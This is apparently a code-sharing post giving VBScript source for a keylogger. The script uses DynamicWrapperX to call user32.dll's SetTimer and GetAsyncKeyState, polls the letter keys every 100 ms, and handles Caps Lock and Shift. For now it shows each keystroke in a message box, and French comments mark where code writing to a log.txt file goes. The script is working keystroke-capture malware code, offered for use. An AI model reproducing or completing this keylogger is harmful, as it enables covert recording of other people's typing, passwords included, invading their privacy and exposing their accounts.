1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| Dim Wrap, pAddr, pRef
Dim flagLoop
Private Function GetCapsLock()
GetCapsLock = CBool(Wrap.GetKeyState(20))
End Function
Private Function GetShift()
GetShift = CBool(Wrap.GetAsyncKeyState(16))
End Function
Sub TimerProc(hWnd, uMsg, idEvent, dwTime)
Const Pressed = -32767
Dim i
Dim KeyPressed
For i = 65 to 90
If Wrap.GetAsyncKeyState(i) = Pressed Then
If GetCapsLock() = True Then
If GetShift() = True Then KeyPressed = LCase(Chr(i)) Else KeyPressed = UCase(Chr(i))
Else
If GetShift() = True Then KeyPressed = UCase(Chr(i)) Else KeyPressed = LCase(Chr(i))
End If
'placer ici le code d'écriture dans le fichier log.txt
MsgBox KeyPressed
End If
Next
End Sub
Set WshShell = WScript.CreateObject("WScript.Shell")
Set Wrap = CreateObject("DynamicWrapperX")
Set pRef = GetRef("TimerProc")
Wrap.Register "user32.dll", "SetTimer", "i=llll", "r=l"
Wrap.Register "user32.dll", "KillTimer", "i=ll", "r=l"
Wrap.Register "user32.dll", "GetAsyncKeyState", "i=l", "r=n"
Wrap.Register "user32.dll", "GetKeyState", "i=l", "r=n"
'créer ici le fichier log.txt
pAddr = Wrap.RegisterCallback(pRef, "i=llll", "r=l")
Wrap.SetTimer 0, 0, 100, pAddr
flagLoop=True
While flagLoop
WScript.Sleep 200
Wend |
Partager